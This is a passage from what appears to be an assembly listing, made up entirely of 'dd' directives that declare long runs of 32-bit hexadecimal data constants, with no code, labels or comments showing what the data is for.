9357F523h, 21DC2F09h, 9F05C20Bh, 0ABBA9660h dd 0EE415481h, 4908D806h, 8F093A9Dh, 33CFE601h, 6C38745Bh dd 30C1241h, 29B2C3F4h, 780EB6EEh, 0E1B3E186h, 0EEC4FC60h dd 806CDF71h, 554EC220h, 0EDDF060Ah, 58E486DFh, 0C62BA54h dd 0F8BD22Bh, 0CBBF2BC6h, 1D29CD42h, 37E6F042h, 6AF7C261h dd 0F2DE7960h, 95AC5D7Ah, 0D9C26CF1h, 0EC34658Ch, 715AFF7h dd 9C42856h, 6BAD3D03h, 0A5DC679Ch, 0C2109EB6h, 0C87C6D6h dd 307B6826h, 50088588h, 2248F13Bh, 0EC4FA728h, 0DE1707A7h dd 5B7A591Dh, 82CD80h, 0F9603E70h, 7DDB305Eh, 94CC1F20h dd 79735E11h, 6016FE01h, 0EFF513B9h, 3DF8BB61h, 39702F5Dh dd 45E52E39h, 0CA13C110h, 12ACB97Ch, 0FE965CAAh, 7B125F18h dd 0F1BA1124h, 152E2E7Ch, 8D644129h, 0AC4EC08Dh, 0CC252EE9h dd 860A8894h, 0F6DD76B7h, 0B8308FA9h, 451663A4h, 0C7108CC0h dd 28730AB6h, 73168780h, 69EB786Ch, 0D75BFCB4h, 3A28A02Fh dd 0A4F3F062h, 2433AABEh, 0EBEC7B7Dh, 9DF9C117h, 0B78030Eh dd 0D30598E4h, 0D7D08D48h, 21263C29h, 937BABC9h, 0B60491B3h dd 60CC8648h, 0C94CC8F9h, 0D2BEEAA3h, 15142956h, 6E662F7h dd 6790E5EDh, 24D5ADFDh, 0F27959F6h, 69C6F2Dh, 4FE6ED7h dd 0AF84084Ah, 853257B9h, 0C7A67F30h, 0BEA599E2h, 2407B8D2h dd 49FB0821h, 2CF3A1BCh, 2E1368FFh, 61C2FCAEh, 994C3A78h dd 0FCB55FFCh, 9548C608h, 2575B2AAh, 51D26E3Eh, 52F40FB6h dd 0BE5DD9E7h, 0C5CBB2C6h, 0C3116B9Eh, 0C85807FDh, 8541EB83h dd 3F81822Ch, 1D42F9C7h, 98A86857h, 0A84F9837h, 0A095B0EEh dd 5E9DDC14h, 0BF84BB07h, 96F8FB6Ah, 87F28468h, 805C320Fh dd 9D1F4237h, 2FDCB96Eh, 3306790Eh, 0CE42DE10h, 8C3A467Eh dd 0DAC0D003h, 0EF0DEC19h, 0CEDECABEh, 4F1A2F3Fh, 0AA0D8F11h dd 40F7682Eh, 3E8ACB2Eh, 0BFF4E2EFh, 0FEDAEC19h, 0B6E38E3Ah dd 0C32B0502h, 9D12DD88h, 9FFAE957h, 7602D764h, 4AE70147h dd 0EA08AC63h, 0D0AFD013h, 72C38791h, 0FCC24D68h, 32D3CBh dd 5B014B5Fh, 857EBBD6h, 0A724052h, 0E4AF5259h, 0E94C83A9h dd 29865F2Dh, 7D18CBFFh, 6D24E9C5h, 0A060E6E9h, 0E02183AFh dd 9E5F922Bh, 7A6F18BCh, 8EE07DD1h, 34056891h, 0ED262E44h dd 6329459Eh, 0E547ECBAh, 8771A348h, 0E02AAF07h, 1A26A3EAh dd 0C7BB85D4h, 7EFA8898h, 2E7485E3h, 0AEF53F96h, 2C61269h dd 58D7B29Ch, 7E5CE1FAh, 0E34E6512h, 7CADCC55h, 0E077944Bh dd 0B7ADFA15h, 6862E315h, 0F01B211Ch, 86D2CE44h, 0AB3697D7h dd 81383A6Eh, 0CE4110BBh, 44D4AA33h, 0A622B402h, 9039682Bh dd 5428105Dh, 69D6CE08h, 0E7117F03h, 858F893h, 1C6395C0h dd 1571ED00h, 5616B970h, 0E0D0193Ch, 0BBA1E7A6h, 0D1DE1C1Ah dd 7BA50D87h, 0D7FBE876h, 4132765h, 40AC45AAh, 0B933137Ch dd 0B1393555h, 2E7D0869h, 1A1D7E5Bh, 876491C2h, 5DCA6569h dd 8D492496h, 0D005555Eh, 9AE6DEEDh, 0B084E858h, 29B4C4BDh dd 2DCA5899h, 3278EE1Ch, 0E968735h, 0F695AF13h, 2BDFAE29h dd 7181B51Eh, 1D7B8932h, 385A8FD1h, 0A6D0CC80h, 3C1A506Eh dd 0AF9F78BCh, 825957BDh, 528FA4A7h, 3D2C2F5Ch, 0BB399C52h dd 39BF2CCBh, 0F992FFF4h, 0AAEA8B85h, 0AB4180CFh, 0FE085D3Eh dd 6720414Fh, 8686CB79h, 0E1558876h, 49256640h, 4D1B45E5h dd 7596DF8Bh, 0DEF8E1EAh, 0D014738Bh, 0BF34EA30h, 9B237D8Dh dd 809933C8h, 846597E3h, 0C2687D48h, 0B57FA3E2h, 0EA774EA3h dd 8805691h, 2FBB4922h, 0F649D502h, 9A05AFD1h, 0A82608FBh dd 0EDA6FEC3h, 0B1F5A9BFh, 5A9FBD4Eh, 0E3B56C6Eh, 0DB051489h dd 66DAAA6Ah, 16ED3482h, 0E94A7193h, 3B951848h, 0FB825A9Ah dd 0F5B899F8h, 0AA08B30Ch, 5FD234A0h, 6E879CA9h, 8CD37400h dd 8D731BF2h, 0CA81E5C2h, 547180E1h, 0A07F8C9h, 0EB9FC253h dd 7285400Ch, 0C6A7F23h, 3FF6A1FBh, 9FBD3769h, 2A7A40D6h dd 4CE3CA02h, 0A77806DFh, 7C6709C7h, 0AED90F70h, 0D0159FE6h dd 0A8A7774Ah, 8DF55BABh, 0F0D1A63Eh, 39CA26A2h, 0A525B73Ch dd 0BCF7C3EAh, 0F4D0DE8h, 0C3DFC765h, 5B45A0FFh, 8477B539h dd 0C47804F1h, 0F81847B6h, 3BC3BCBDh, 0BDB63E60h, 8E2B253h dd 5AFA9799h, 842E109Eh, 3E90C917h, 4A6C2134h, 0A65A310Bh dd 6B2A19E7h, 0E199CAEEh, 69C74994h, 0FEEBD11Bh, 33B7EA44h dd 0F39D4B7h, 56833BCCh, 0FF8F4405h, 0A26A57DDh, 8000005Eh dd 110F0000h, 830840BCh, 0D6F9E82Fh, 0C9EDAE56h, 0E3267A7Bh dd 0F2E65559h, 0B72C2EFEh, 12EF5DCEh, 0D0EB870Dh, 0FF8E90ACh dd 0C4A3B228h, 6E7235C2h, 1EF03EDh, 91112BCFh, 5071A932h dd 1840DD55h, 0B76195A2h, 0BC94477Ch, 93C84BA1h, 248E7FDh dd 63AC59F8h, 92B2DA75h, 3EF0AC5Ah, 0F9F57C09h, 0ED358BC0h dd 57CB745Ah, 176B049Eh, 3FE37D8Fh, 8171DEBFh, 297F4B34h dd 51CC05D6h, 0CF2CEBD0h, 5AE40580h, 986B5042h, 25C8CB85h dd 957DBB46h, 37FB4768h, 286BABBCh, 41F346FAh, 372B0BABh dd 3D875CAh, 47AC1E87h, 201DF381h, 0EF19AA51h, 0AD6AEC96h dd 98D4E175h, 18CBDD95h, 2D8FE948h, 9FC122F1h, 0CC5BF242h dd 52B2CFEEh, 0B7EF563Ch, 0E4849E03h, 3EA965E1h, 67DAD8BFh dd 1FA51C62h, 0CD58F938h, 0AD0048B6h, 5ECB330Dh, 0C49B92ADh dd 2D13EC12h, 7E49B0Ch, 3C86CADh, 0F43CB3E8h, 0C0602FC1h dd 35CD2Fh, 0A26A7FD6h, 87575849h, 98E20C26h, 8B238FF5h dd 8C3FF6FFh, 24A91E9Eh, 0E9D13AD6h, 5652A12Eh, 1765C732h dd 0D40AD530h, 0D21D37Ch, 37842931h, 4681870Bh, 6EB51B58h dd 0F1BE9EBFh, 0AAA8E9D8h, 9F4828A6h, 0FF3A86A3h, 0D80B69DCh dd 7555406Bh, 595A7ED0h, 805E24B6h, 0D4F04BC3h, 1CE62BC3h dd 8CE85416h, 0A1047E4Eh, 0C3B09A2Bh, 40EE6CFBh, 0A8990413h dd 0F74F7F38h, 0E0F0BF77h, 24100B30h, 71E8B631h, 891ECEDDh dd 0D9041547h, 65BF6E26h, 2E566079h, 26D59A25h, 845317FEh dd 5EEDC151h, 17CA0945h, 995B28C9h, 7CC82DE5h, 4F15684h dd 48F3E805h, 0F4936ED8h, 1CCDAD59h, 25A87E5Ah, 32CD1F48h dd 0FC9FD863h, 2831CAA7h, 0F8DE111Ah, 0B6B778D1h, 4F54D530h dd 4B0BB10Ah, 5EB55852h, 4B2B4047h, 9964BED9h, 0FC27F7A7h dd 374D9EFEh, 63E6F231h, 0E3E29AD0h, 7C8CD4C0h, 750153CDh dd 0ED47A89Bh, 0A2CA7418h, 8FF6A9C6h, 97E88757h, 0A547F69Eh dd 389CDB7Fh, 0DB923EACh, 0DCDF8ED7h, 43A43A74h, 5CB314Bh dd 0E028B311h, 0D1884CF5h, 6A6D0FF0h, 20C3ABF5h, 0F9DA0635h dd 59797A2Ch, 32930EF4h dd 464F24A3h, 6F5C3239h, 0DB02264Ch, 86F22D70h, 155680EEh dd 5F992EF9h, 6DF5108Fh, 0CBB4148Dh, 4DCAC3C6h, 0A3B0CCC5h dd 8A50AE35h, 57F41DCAh, 42BABA62h, 0CE0433A5h, 0C26A8800h dd 2CA4305Dh, 3CFEDCCAh, 87301AAFh, 0EC75CA20h, 6962A8F6h dd 478A00F2h, 0BC54401Eh, 0C7E85416h, 7D3F36FEh, 0DE7A3AF0h dd 4403BDE7h, 0B83AAB23h, 0B62B288h, 250A395Ch, 0FEAC21DAh dd 4DD49BBFh, 3E4521AAh, 5CB49D29h, 0B22FE3EEh, 263E503Ch dd 1C7FDB19h, 0D836E42Ah, 0C48F5ECh, 486F18D2h, 0AD86D711h dd 0BC69F9FCh, 817877B7h, 0C7B564Eh, 5A86D0Ch, 30FF23F1h dd 3ADC611Bh, 0E543A133h, 12209620h, 1FBCF914h, 0B4751223h dd 0F7E2B14Eh, 8FBC2C34h, 8E3E28C7h, 0A31770ADh, 92E3C475h dd 0C4A02A73h, 0F16C3AFCh, 0E289D76Ch, 64239F52h, 48A1601Ah dd 76776059h, 0E8700A17h, 3246678Dh, 52D66359h, 6AA2F6D9h dd 85E8D9Dh, 0ED00CA61h, 726232BEh, 3469BD1Ch, 72BDB6F0h dd 4397335Bh, 198DE0CFh, 0FA0F3AFh, 0B76AF3EBh, 8226BCC0h dd 0FA103232h, 0E1C6416Dh, 639BA751h, 4A601C32h, 316872A2h dd 0C90D89Fh, 0C469D69h, 9B6B5744h, 26855508h, 3AB9264Bh dd 4F816FCBh, 0B3ABE9DFh, 82D7BBE2h, 65AF200Eh, 89C46EABh dd 707F5479h, 0D5D8DF66h, 0E2FD3247h, 5D4AEAF2h, 1F246086h dd 9D9012F3h, 8A2FCA23h, 5C83204h, 1C817B9Fh, 99A888DEh dd 4D3BD5B3h, 9355BA5Fh, 0CBE317EEh, 0A09DF698h, 3BCF367Bh dd 90142CDEh, 0B11F45C4h, 9CFC5E73h, 0D4637418h, 46F0458Dh dd 0BCA937CAh, 0B364EE9Ch, 182D4A71h, 665F2753h, 5815B6CEh dd 0BE730AEFh, 57C289BAh, 61FA4332h, 8BF6D321h, 9F4A28BEh dd 281A2AB9h, 78EDFDA8h, 4589AC19h, 56D4860Ah, 0B4D0E4F3h dd 9B200BF8h, 6C268FA6h, 5D515F4h, 2A80BB1Dh, 58D78622h dd 728BA899h, 4CA65FD7h, 12134490h, 47C268B5h, 93446181h dd 0C2EF2A64h, 49FB8578h, 0EADB52h, 0CA4FEF06h, 0E73ABEB9h dd 8E8089FBh, 0B94EB2A5h, 0CE2B723Ch, 0D0A0ACEh, 5FA8D7B5h dd 23CF29A6h, 12E63201h, 996C5455h, 0C03F418Fh, 10B2B2C5h dd 980AE799h, 0D40336BCh, 74271010h, 0AA678B08h, 0ACB5EC8Bh dd 0CEE87567h, 64E8D5F4h, 0C08540E4h, 9D104A69h, 0A5F012A0h dd 0DC9311FCh, 5893B1D9h, 692C2675h, 44D90C22h, 0E521693Fh dd 8F6EB144h, 76A312D1h, 5188F9E1h, 0A84752C5h, 8771550Fh dd 3988DF8Bh, 4AB4161Ah, 7C4314B2h, 8B1CD09Bh, 193CCE90h dd 0BEE39E7h, 7CA6290Bh, 1999E41Bh, 6FF0252Eh, 395AD3F8h dd 0F7A5A2Ah, 31A8C7E9h, 0F858EEC0h, 0AB9952B0h, 0B418C5B5h dd 6C38159Fh, 0AED3994Eh, 0C02062Bh, 42062E60h, 9DE67919h dd 1000FADDh, 75E87122h, 307C6205h, 0B06F604Dh, 0CFA54319h dd 0D037EA96h, 23A4117Eh, 77E3C683h, 75578FBEh, 0C21E3D20h dd 0FE28478Bh, 0A4824F40h, 6B053EF9h, 362F8B90h, 866B83E6h dd 72987D3Ch, 754F65A9h, 1DEE29C6h, 5C1A56E8h, 0D0DD0h dd 31EC7C8Dh, 0E7213683h, 0A4DA99CCh, 9228F256h, 53D53000h dd 0BF464BD3h, 0E1F6B11Ah, 177DE0C0h, 2EB7F818h, 0D01990F3h dd 0D4A3BB31h, 42BBA277h, 9EBB4C23h, 47F7E28h, 50662149h dd 419E10B4h, 77B261CDh, 2FEB17CCh, 0DA6B7FBCh, 5A37136Dh dd 0A3D6F701h, 9CEE33B4h, 0C2A7EC7h, 0BF61712Ch, 0A4A8CF82h dd 0B4A1727Bh, 173ACAD5h, 0A371B9E9h, 5C9D0402h, 45CF6172h dd 70E6EF9Eh, 0BE73BF40h, 0F1B9FFA0h, 0F5500CA7h, 5E87EBh dd 2DFA6EB2h, 433C9C98h, 0BCB03E26h, 0C3C00DD6h, 5ACEB8EAh dd 1BA1EC19h, 0A61ADAA9h, 0B841289Ch, 0A0AACCCDh, 78D92557h dd 0DDE9650Ch, 0E234658h, 0E87F5F4Ch, 706E4457h, 8827C655h dd 183CAFF3h, 0B02E1D37h, 8E90ACDBh, 625DEF78h, 92B764CEh dd 0EFB07099h, 0FB9CCD40h, 71D9797Eh, 6D57B5D0h, 531A171Eh dd 0F476F4DCh, 0FD700BA2h, 746DB7Ch, 21AD54D2h, 7F0430CFh dd 0E6D5AB2Ah, 9481D4D4h, 2DBA00F4h, 0D85B7ED0h, 3824AE83h dd 0B5A52A67h, 89807E1Bh, 0CCB01D12h, 0F5B4ACA6h, 4AC39D29h dd 0AC840BBAh, 97681986h, 51A50FB7h, 2B38B411h, 5D2C8F19h dd 22E73DE2h, 63733182h, 242AD300h, 40CB3243h, 97DCF77h dd 94F7FE01h, 0AFC29B13h, 4225A2EFh, 0AF33FA2Ch, 75479462h dd 0B4CD80F4h, 0CC4A10A2h, 1C285491h, 270EA3F2h, 0BA7D1657h dd 850D753Fh, 4012C235h, 0B1E32C19h, 55A5E297h, 0E8CC8F86h dd 0FCC2C802h, 0FC97A5C0h, 0A350E582h, 950B02D4h, 0F4E40924h dd 0A35E2006h, 0F14DF020h, 9967309h, 0EDEF694Ch, 287B568Dh dd 0FC194A93h, 19FEA6BEh, 0E52B6125h, 55B138E4h, 77701533h dd 0D41DD139h, 2E6B50A5h, 3936DFFBh, 69EA76E3h, 0A6478974h dd 0A2D90514h, 14780A75h, 62DEB136h, 2747854Ch, 0D15B440h dd 9FA94D72h, 0AB9976BAh, 0CEE81179h, 1C944CABh, 0D9AE822Ah dd 4B15342Eh, 0FDB1A2A1h, 0B94E3240h, 0A5386768h, 0E401A984h dd 33ED6E2Dh, 5ABE4428h, 57881F14h, 0BC93A8D1h, 17A086FBh dd 0A267E310h, 9F764D6h, 0F9D90EEEh, 0F3ED43E3h, 12844728h dd 0DE1D5433h, 685657EEh, 5B16FCC3h, 2B99E110h, 95F4C81Ch dd 3D4710E2h, 1E313E3Eh, 0DDB8279Bh, 832851D5h, 84AEBA6Dh dd 6DB9B87Dh, 77FF2AF7h, 0A1A066DEh, 4309495Ch, 0DACE47BAh dd 2C04570Fh, 0C3823DFBh, 0A7215822h, 9781AD79h, 0D558D84Eh dd 0EC60D11Dh, 0EB825B0Bh, 0A6E3C14Fh, 0C89CBEFFh, 0C499C26Fh dd 0E8AEAA87h, 0DA5957C0h, 0F38EC99Eh, 1F8FB80Dh, 1040DDA1h dd 0A20883E1h, 682F74FBh, 0E5080CD1h, 0C861A477h, 0BAABAB11h dd 0DBBE2566h, 0C3F2C9D1h, 0A72D2E40h, 0BDF6F5CFh, 731FCA60h dd 21F77FA3h, 41EF75BEh, 0DA09BC75h, 0F50B704Ch, 0AF020C9Eh dd 0D7F9B7CDh, 0F689104Fh, 0C3A4BC5Dh, 0C1F8F635h, 0DC30171Bh dd 0EA293BD0h, 0D5FE76CFh, 770C7335h, 0A102D1E0h, 10FAFDCh dd 5C035745h, 24D4AEAAh, 0AED0ABFCh, 0B1A647CFh, 0E5A925C5h dd 37658778h, 179BE411h, 0CB4C004h, 0D35FF2B0h, 0A8CEEECDh dd 0B78AF870h, 48F7D297h, 2BD8CD81h, 612FB75Ch, 0C7704DDBh dd 0DF0960DBh, 830E9CB5h, 0A03202C4h, 0D00B0E22h, 0B41CCEF8h dd 473027F9h, 0E76EDE46h, 0F3B370Eh, 0E28DAF4Ch, 90E32291h dd 0C4035033h, 8DBA0F6Bh, 7903C1B3h, 0B24C719Ch, 0D7B48A16h dd 0BF92886Eh, 4885B593h, 0CBAFF73h, 83C8E008h, 0FC0AE096h dd 0F28F53E7h, 901BB50Eh, 0A3EE8CAAh, 219A0D04h, 0B944DC2Dh dd 0AC4E383Dh, 0AAB04C41h, 0CC75E490h, 9109D5FAh, 0EAB6EFDFh dd 754CD080h, 9AA8FBBh, 655FAD33h, 0F35FD755h, 0F201E8E6h dd 0D5E80F08h, 0FF33BF35h, 0CAC9Eh, 40C13B6Dh, 9505943h dd 67FAA182h, 0BA726E67h, 7B33BEFDh, 0E12C41F2h, 774456C3h dd 0B6366F83h, 372A86EAh, 0DC183155h, 575BA289h, 52363068h dd 960D7C38h, 96EE8F7Dh, 68B3181Dh, 0D5BDE862h, 0E5151964h dd 0A47D8FF4h, 0C0475284h, 0F14D25A4h, 0FF248A26h, 4FA6EADEh dd 5391B942h, 0E596EA5h, 43CE7186h, 0C3744FD3h, 5F675EEBh dd 44847954h, 0F27025AFh, 0BFF01F3Bh, 73F4C296h, 0A2B2A67Ch dd 0C3364D2Ch, 868BC47Eh, 0B138365Dh, 0F83328A1h, 0D262B1CEh dd 83C98129h, 0E68A768Ch, 0A8212825h, 0C65F4F09h, 0FFC306C2h dd 0CEDB59EDh, 0D58D7856h, 0B86B5B1h, 5AA4168Fh, 4BB54C23h dd 5F778945h, 742C5AACh dd 7ACFB629h, 4B10A540h, 31358944h, 1C4EBD85h, 0BBD1F3A4h dd 136BDB1Ch, 70CEDC22h, 837D8E9Dh, 0BE5FE476h, 4F5BC126h dd 0C5B10EDDh, 478139D1h, 2BC7F68Ah, 51AE1DA5h, 0D2BCF708h dd 0A45774B5h, 43B368E9h, 32F95FCCh, 951A6293h, 1C7FB3B5h dd 0E64269BBh, 0EAA0629Fh, 36951814h, 0AE9F54AEh, 466318B4h dd 801F005Ch, 6D3E926h, 1955B277h, 88854C43h, 0FD63CD91h dd 0C42A3AA7h, 4523440Dh, 1262286Fh, 0B504CD82h, 9148A334h dd 6728A5B2h, 7C881E45h, 794B7871h, 77BCE681h, 0D173657h dd 0F6BC8D28h, 5949F6B4h, 0C4352451h, 270555A6h, 0E684D0C5h dd 49E142C9h, 1D5C6B8Fh, 0A72830EFh, 0E8CEDA0Dh, 0E96722Eh dd 0CBD14466h, 2C5ED7F3h, 443B7026h, 872154FEh, 4BB6AD8Ch dd 0A8B311A0h, 0F8D74AB6h, 423B7A33h, 6D048C59h, 0DDBEF1E6h dd 829F4788h, 6E885C28h, 6F4C0C39h, 0D16CAD8Ah, 9AB79EBBh dd 5F73BECFh, 69E774CEh, 0DCA77071h, 0A23ECDDAh, 4E44CEF1h dd 805961EFh, 0B78EC20Bh, 320B089Bh, 0B7DC4376h, 372DE5F7h dd 7F5091Bh, 0E9188536h, 0AE4678B1h, 0DFF1D1A5h, 8417A69Ah dd 6864352Fh, 0DC8EEC28h, 0AB4115C5h, 86365102h, 82B5E91Eh dd 0EFE342ADh, 0F34C86F2h, 57ACE596h, 509A4E2Ch, 3DB320E3h dd 2F40DD5Eh, 0DB05F096h, 4A831B73h, 898B5804h, 0F1F7A1EAh dd 0F9A7ABC4h, 427C8267h, 87E73942h, 2283E794h, 0E1CAAB8Eh dd 48EBE712h, 0F728609Fh, 7D656612h, 0AD5CD132h, 3D69E966h dd 0EC414ACDh, 0EA9A0449h, 0EE650E4Ch, 64A7E56Ch, 0CC269C89h dd 0B2ECDA50h, 227FBBB6h, 20738019h, 3EBB29EAh, 53E9A0A7h dd 0C4144CDBh, 5FA53902h, 6365F3F0h, 0AE780BB4h, 6C9D817h dd 0C0645F0Fh, 0B4AE53B4h, 1993CD0Eh, 0E9BF6B57h, 0EC08336Ch dd 4FC988ADh, 0C9E989B9h, 0CF9A9D1Dh, 0B77A327Ah, 904B1150h dd 31CB7CE9h, 9B4096E2h, 67A3EE07h, 602F363Ch, 2551BB0Dh dd 0B766D23Ch, 7BA55247h, 8A3819A6h, 0E1E3BA0Bh, 90A7B463h dd 0B716B462h, 0DA96C5C1h, 7B05524h, 905B70B9h, 5918A0AAh dd 0AD5F6DBEh, 6877E73h, 294E9CE2h, 0E0B68055h, 0A50F8879h dd 0F40729E2h, 0D7491311h, 0FC932ED1h, 0EAF2A963h, 0BBCB7316h dd 0AA64BF8h, 11EE2A25h, 1D82A2A8h, 723B9E92h, 2B0304EDh dd 5A917A4Dh, 860A6C2Ch, 0A42DB18Ah, 0A6320190h, 0A8A7CFF6h dd 5B4636BBh, 51883F30h, 5E2DC0A2h, 6A4BE849h, 7AF9781Ah dd 0D61F118Bh, 0B10DFE21h, 0A249E790h, 8806E095h, 50D090A1h dd 2F11DC83h, 90DD544Ch, 618E38B2h, 550FFD9Ch, 0A655969Bh dd 0CE5906F9h, 3B11BCD8h, 0E590D7CFh, 45CD327Dh, 0E59FA040h dd 69010F31h, 0E360F529h, 0F5FF9C98h, 5D2AEE98h, 5299E985h dd 9F6717D6h, 15A82FC9h, 55137119h, 1F135E55h, 3CB56AC5h dd 7BB7373Dh, 65DCDD25h, 12A473Dh, 0EC9A2ED2h, 62A984ECh dd 2B5BF05Ah, 240EFA20h, 0CD0EEC32h, 521396E0h, 0A9EABF96h dd 0D2AC7864h, 754D0EC6h, 640751EDh, 0E257D3C7h, 450243EEh dd 93235C9Eh, 0E8B1F4BBh, 0AF006D60h, 9F44E351h, 6E71706Ah dd 0E9E2E93Fh, 2A6DDE1Bh, 0EEB32AA2h, 196647F3h, 7742573Eh dd 9809DF36h, 0CAF96C58h, 847AD843h, 12C6EBD0h, 5E2A139Dh dd 8BBCBFE2h, 0D0AFACC4h, 8E8A13D6h, 5A55B9A6h, 0B3AA6A6Ah dd 0F6B4BD9Bh, 17DBFFD9h, 5E7BE3h, 8000h, 0E3A66800h, 0A8F3E761h dd 65579873h, 0BFC951D0h, 37DC9485h, 0AC3DBD9h, 0CBCE87Ch dd 5299AF38h, 1B551B1Eh, 2AA7FC29h, 0C77F0F54h, 0D0BD4C38h dd 2807981h, 0CEA0A75h, 4B5497F3h, 0D05CAD18h, 83C8EB68h dd 740A9D8Fh, 92E7093Dh, 0C74F413Eh, 0D60512A0h, 47A876D6h dd 0B5BCD20Ch, 4F2F768Bh, 0A82F5598h, 336D88ADh, 2B5FF69Dh dd 7521B2CFh, 86F2F631h, 8BDA2608h, 4CEEDD9Eh, 8E81879Eh dd 0ABBD033Fh, 0B745AE44h, 5EE38A78h, 44AF1BEFh, 985106F5h dd 95026F71h, 796465A3h, 0A07AF5CEh, 0EF5F1C1Ch, 4501271Eh dd 59A9866h, 0EF2E1462h, 9259C2CAh, 44935B26h, 0BEBFA574h dd 742B1C5h, 0C9262C77h, 6BFA1CF5h, 524B25C2h, 84E0CD41h dd 951E9293h, 4206359Dh, 2579DE1h, 0C7629E29h, 0E8A7E6F9h dd 76E9F9E7h, 0ABDCD7F6h, 0A6947BF4h, 5CEA54BCh, 0FCC72492h dd 6D447DC5h, 0FBECD599h, 0F125332Fh, 58F4AD8Dh, 1837747Bh dd 36444731h, 38FF5B6Bh, 6A1D25B3h, 411B7C57h, 0DAFB99DFh dd 0DC260DBAh, 0A894E888h, 1385369Dh, 28475A8Ch, 2C64CE22h dd 0C0841B97h, 27E0F64Dh, 0F5CF10C7h, 808FB68Bh, 26AB2952h dd 0EB601170h, 9E57E6ABh, 0DF742BA5h, 0C0486633h, 0BB365EECh dd 9F7163BFh, 0CCAEC7C8h, 0F0D4A4D7h, 0DDBB73F5h, 29BCC578h dd 7FB5821Fh, 0BEA454ACh, 3A15D681h, 309EE150h, 1F6B1F86h dd 0C271AE9h, 0A37CB45Ch, 9FDB888Dh, 7128C6B8h, 17A260B6h dd 708BBD56h, 0A802518Fh, 4E500BBEh, 7F22A9F0h, 11AFB1BCh dd 607C86D8h, 0C42B33AEh, 3AE63B30h, 0A7FC9528h, 0A7CC9D49h dd 3450E1C4h, 1727E648h, 4768D4CEh, 4E6B46E7h, 0B19B6863h dd 1EACE7A1h, 34678E4Fh, 0C69D54B0h, 7FDA9740h, 0F4AF743Dh dd 428AD6A8h, 85E2D61Ah, 0D7FA39BBh, 0A035592h, 4D1677Fh dd 4812B21Dh, 16875B2Eh, 89528FE3h, 0E136FE2Eh, 0AF0336FFh dd 39C77301h, 0B508B720h, 334A729Fh, 9356AC06h, 0F3643341h dd 2FC997F4h, 0DE58037Ch, 19C32D2h, 960E150Dh, 0CBF1C9C4h dd 4F59A26Eh, 1F04C2CEh, 0B736FDEh, 464A59FFh, 0D120182Dh dd 3DE42EDDh, 65E4265Dh, 1C138AE5h, 1812C634h, 7BEEDE91h dd 46931172h, 0DFF4EEB8h, 0E6E3201Dh, 2DF47E9Dh, 13700E7Ah dd 265A1C24h, 887A8B6Fh, 53AABFA0h, 0B26B70AAh, 8C2B0E08h dd 9DBA697Dh, 1229304Bh, 27B81F68h, 544640ACh, 427E1911h dd 636FAEA4h, 373E9500h, 0ACE7C1FEh, 0FC8BBB7Dh, 0A7C12124h dd 0D6900221h, 893221AAh, 2B960419h, 7A814497h, 2BBAB7FCh dd 0BEDEFB44h, 0C0F9596Fh, 0E9286587h, 788E6E95h, 0D070D1CDh dd 38697E1Dh, 0DF3AD3EFh, 9EBCB6E4h, 90A6837Ah, 428E5D2Eh dd 2CD9D962h, 0D7C64A10h, 6F5D8C1Ah, 391D2E09h, 1A093AE6h dd 82567F1Eh, 0A81CDF17h, 3BA7EAE2h, 1B899577h, 0C210E29Ch dd 0C60E6FF5h, 56EB2ED7h, 41E1B97Eh, 0ED6672DAh, 3782E7EEh dd 680DB594h, 5C53F880h, 840EA3AEh, 6FBE8328h, 821F17ADh dd 98E7C9A3h, 4646D9C4h, 915860BCh, 0EA0BBC5Eh, 20635FBEh dd 7022FE86h, 70D5ADD0h, 0D6AD6C55h, 0AA6B607Bh, 362F0C98h dd 0A44B56EAh, 2871794Ah, 7476D873h, 0E43D98DCh, 0C317D222h dd 7C6CFDFBh, 50D74910h, 0EC6FC7FFh, 1DCD8908h, 0BED465D9h dd 0D4AED188h, 0FD4D2374h, 6FE78E8Eh, 7BB160A0h, 2D4881FAh dd 25417A2h, 0F964ECC0h, 0B8E2280Eh, 62593867h, 2383CDDAh dd 0BCDA2721h, 1A31FDBCh, 31527C96h, 0DA628BE0h, 2E372D12h dd 0F8169D50h, 0F4F76BF3h, 634C1079h, 249DF165h, 9C7F25C0h dd 62A3DBC2h, 1350C03Eh, 0A51A2E6Dh, 4AEFE512h, 10DDF1F5h dd 2E8D2FC3h, 9586068h, 0C31A247Ah, 0ED7856C7h, 0C140332Ah dd 3DF8E008h, 0AFBA7BF6h, 0BF11B1BBh, 35A054A0h, 0B6119D90h dd 4B012191h, 0B04DA158h, 9FD80C5Fh, 184707A2h, 87C2B157h dd 0CC4247FFh, 6C99CB61h, 0BB2F1B8Ch, 0A8F6Dh, 0D514A9A0h dd 0A775DDBDh, 5E9525FDh, 0DA57CEA9h, 45ABA279h, 6AA683ACh dd 40940D66h dd 0C3314F1h, 0D8896E9Ah, 0EA0EFC0Eh, 93A21E1Dh, 1436A889h dd 52467B1Bh, 79FBBBAFh, 54F06288h, 4B287FBCh, 3C14A501h dd 0C9215813h, 0ED0FAA1Fh, 85056CF2h, 22BE95BAh, 910B8E59h dd 9B4A2666h, 59F87D1Ch, 0E235399h, 0A66FF118h, 7DA15F85h dd 5575E8C4h, 1ACA14D2h, 2C11A5D3h, 0FDDCB66Ah, 4F3096D2h dd 243F6388h, 0FB58BCEBh, 8E297BE0h, 0F0DC40C1h, 21FF0599h dd 51DF4B86h, 1A3125B1h, 0EE228662h, 0A7D560CFh, 0A14EA778h dd 36DA2366h, 55E9904h, 21F7326Dh, 0A8BC6286h, 0D25F6F68h dd 179E0A92h, 79E12DFDh, 4E3D55ACh, 62A18082h, 0CDBA5BE1h dd 35B7C519h, 0CD43CF28h, 0A88F072Eh, 322112E7h, 5B54F422h dd 0C9324CE5h, 434C7D75h, 0C5844B4Fh, 9CA409ECh, 0E7DAA680h dd 0D2275C52h, 6BE5A026h, 85F430DEh, 923B0610h, 0A08A3763h dd 702BE5B3h, 0AB6D27A2h, 0DF9E02F0h, 0C8C51D7Ch, 0C15E02Ah dd 0EE7B0819h, 0B492AD32h, 0F46C49BBh, 5A912A2h, 5D42C8FEh dd 21290D22h, 0E7F1A3Fh, 0A20FD646h, 2AB3F586h, 0EA5EA80Bh dd 7545457Ch, 29145019h, 0A4F38102h, 509AEA6h, 9167EC11h dd 238AB1D9h, 3F5A4FB3h, 58830E6Eh, 242CE78Bh, 0DB66526Eh dd 87B7E2E5h, 7BCA8B5Ch, 0CC1748BEh, 8902D00Ah, 0FD26880Bh dd 55915BC1h, 5896EDEEh, 3A3A74Fh, 624025C3h, 0A6B6A864h dd 1D9EC51Ah, 0C173D2DCh, 36EC67E7h, 7C12FA64h, 0D50291E3h dd 0F9994233h, 918D1CF8h, 741A38BCh, 0CA2A8DD0h, 